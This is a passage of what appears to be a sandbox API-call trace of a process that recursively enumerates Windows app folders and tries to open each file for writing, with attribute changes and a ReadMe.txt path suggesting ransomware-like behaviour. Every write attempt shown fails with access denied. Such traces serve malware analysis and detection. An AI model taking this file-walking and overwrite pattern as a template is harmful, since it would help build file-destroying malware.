	[0078.753] wcscpy (in: _Dest=0x47e96a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common"
	[0078.753] wcscat (in: _Dest=0x47e96a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common\\"
	[0078.753] wcscat (in: _Dest=0x47e96a0, _Source="ReadMe.txt" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common\\ReadMe.txt") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common\\ReadMe.txt"
	[0078.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47e96a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa5c
	[0078.997] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x4758a30 | out: lpFindFileData=0x4758a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9853e192, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9853e192, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9853e192, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe.txt", cAlternateFileName="")) returned 0
	[0078.997] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0078.997] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4758a30) returned 1
	[0078.997] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c8920) returned 1
	[0078.997] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddaa70) returned 1

Thread:
	id = 605
	os_tid = 0x18a0

	[0077.505] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x47519a8
	[0077.505] wcscpy (in: _Dest=0x47519a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.505] wcscat (in: _Dest=0x47519a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0077.505] wcscat (in: _Dest=0x47519a8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0077.505] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4758c98
	[0077.505] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x4758c98 | out: lpFindFileData=0x4758c98*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb3cc2682, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb3cc2682, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb3cc2682, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0078.751] wcscmp (_String1=".", _String2=".") returned 0
	[0078.751] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x4758c98 | out: lpFindFileData=0x4758c98*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb3cc2682, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb3cc2682, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb3cc2682, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.751] wcscmp (_String1="..", _String2=".") returned 1
	[0078.751] wcscmp (_String1="..", _String2="..") returned 0
	[0078.751] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x4758c98 | out: lpFindFileData=0x4758c98*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb3cc2682, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb3cc2682, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb3cc2682, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0078.751] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0078.752] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4758c98) returned 1
	[0078.752] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47519a8) returned 1
	[0078.752] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02778) returned 1

Thread:
	id = 606
	os_tid = 0x18a4

	[0077.506] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0079.896] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0079.896] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.896] GetLastError () returned 0x5
	[0079.896] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0079.896] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cb350) returned 1

Thread:
	id = 607
	os_tid = 0x18a8

	[0077.506] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\05DBE9EA-EF75-43DB-8A03-27898B59D1E9" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\05dbe9ea-ef75-43db-8a03-27898b59d1e9")) returned 0x20
	[0079.930] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\05DBE9EA-EF75-43DB-8A03-27898B59D1E9", dwFileAttributes=0x20) returned 0
	[0079.930] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\05DBE9EA-EF75-43DB-8A03-27898B59D1E9" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\05dbe9ea-ef75-43db-8a03-27898b59d1e9"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.930] GetLastError () returned 0x5
	[0079.930] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\05DBE9EA-EF75-43DB-8A03-27898B59D1E9", dwFileAttributes=0x20) returned 0
	[0079.930] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1

Thread:
	id = 608
	os_tid = 0x18ac

	[0077.507] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\appxblockmap.xml")) returned 0x20
	[0080.029] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0080.029] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0080.030] GetLastError () returned 0x5
	[0080.030] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0080.030] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c8c20) returned 1

Thread:
	id = 609
	os_tid = 0x18b0

	[0077.507] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\appxmanifest.xml")) returned 0x20
	[0080.028] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0080.028] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0080.028] GetLastError () returned 0x5
	[0080.028] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0080.029] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c80e0) returned 1

Thread:
	id = 610
	os_tid = 0x18b4

	[0077.508] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2ddb030
	[0077.508] wcscpy (in: _Dest=0x2ddb030, _Source="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxMetadata"
	[0077.508] wcscat (in: _Dest=0x2ddb030, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxMetadata\\"
	[0077.508] wcscat (in: _Dest=0x2ddb030, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxMetadata\\*"
	[0077.508] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47593d0
	[0077.508] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxMetadata\\*", lpFindFileData=0x47593d0 | out: lpFindFileData=0x47593d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x228b384c, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xa93abe68, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x228b384c, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d872b8
	[0079.929] wcscmp (_String1=".", _String2=".") returned 0
	[0079.929] FindNextFileW (in: hFindFile=0x2d872b8, lpFindFileData=0x47593d0 | out: lpFindFileData=0x47593d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x228b384c, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xa93abe68, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x228b384c, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.929] wcscmp (_String1="..", _String2=".") returned 1
	[0079.929] wcscmp (_String1="..", _String2="..") returned 0
	[0079.929] FindNextFileW (in: hFindFile=0x2d872b8, lpFindFileData=0x47593d0 | out: lpFindFileData=0x47593d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x228b384c, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x228b384c, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x2bbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="CODEIN~1.CAT")) returned 1
	[0079.929] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0079.929] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0079.929] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x477bf48
	[0079.929] wcscpy (in: _Dest=0x477bf48, _Source="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxMetadata"
	[0079.929] wcscat (in: _Dest=0x477bf48, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxMetadata\\"
	[0079.929] wcscat (in: _Dest=0x477bf48, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxMetadata\\CodeIntegrity.cat"
	[0092.503] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0092.504] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0092.504] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.504] GetLastError () returned 0x5
	[0092.504] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0092.504] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477bf48) returned 1
	[0092.504] FindNextFileW (in: hFindFile=0x2d872b8, lpFindFileData=0x47593d0 | out: lpFindFileData=0x47593d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x228b384c, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x228b384c, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x2bbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="CODEIN~1.CAT")) returned 0
	[0092.504] FindClose (in: hFindFile=0x2d872b8 | out: hFindFile=0x2d872b8) returned 1
	[0092.504] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47593d0) returned 1
	[0092.504] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddb030) returned 1
	[0092.504] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddab28) returned 1

Thread:
	id = 611
	os_tid = 0x18b8

	[0077.509] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\appxsignature.p7x")) returned 0x20
	[0079.927] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0079.928] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.928] GetLastError () returned 0x5
	[0079.928] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0079.928] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c83e0) returned 1

Thread:
	id = 612
	os_tid = 0x18bc

	[0077.509] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d628c0
	[0077.509] wcscpy (in: _Dest=0x2d628c0, _Source="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets"
	[0077.510] wcscat (in: _Dest=0x2d628c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\"
	[0077.510] wcscat (in: _Dest=0x2d628c0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\*"
	[0077.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4759638
	[0077.510] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\*", lpFindFileData=0x4759638 | out: lpFindFileData=0x4759638*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x229e4b3b, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xa94b581e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2310be20, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70900
	[0079.648] wcscmp (_String1=".", _String2=".") returned 0
	[0079.648] FindNextFileW (in: hFindFile=0x2d70900, lpFindFileData=0x4759638 | out: lpFindFileData=0x4759638*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x229e4b3b, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xa94b581e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2310be20, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.654] wcscmp (_String1="..", _String2=".") returned 1
	[0079.654] wcscmp (_String1="..", _String2="..") returned 0
	[0079.654] FindNextFileW (in: hFindFile=0x2d70900, lpFindFileData=0x4759638 | out: lpFindFileData=0x4759638*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x229e4b3b, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xa95725d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x22a0ae1c, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="App", cAlternateFileName="")) returned 1
	[0079.654] wcscmp (_String1="App", _String2=".") returned 1
	[0079.654] wcscmp (_String1="App", _String2="..") returned 1
	[0079.654] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d5dda8
	[0079.654] wcscpy (in: _Dest=0x2d5dda8, _Source="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets"
	[0079.654] wcscat (in: _Dest=0x2d5dda8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\"
	[0079.654] wcscat (in: _Dest=0x2d5dda8, _Source="App" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App"

Thread:
	id = 613
	os_tid = 0x18c0

	[0077.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x49863c8
	[0077.510] wcscpy (in: _Dest=0x49863c8, _Source="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js"
	[0077.510] wcscat (in: _Dest=0x49863c8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\"
	[0077.510] wcscat (in: _Dest=0x49863c8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\*") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\*"
	[0077.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47598a0
	[0077.510] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\*", lpFindFileData=0x47598a0 | out: lpFindFileData=0x47598a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2310be20, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xa967b88f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2313207f, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87bb8
	[0080.028] wcscmp (_String1=".", _String2=".") returned 0
	[0080.028] FindNextFileW (in: hFindFile=0x2d87bb8, lpFindFileData=0x47598a0 | out: lpFindFileData=0x47598a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2310be20, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xa967b88f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2313207f, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.028] wcscmp (_String1="..", _String2=".") returned 1
	[0080.028] wcscmp (_String1="..", _String2="..") returned 0
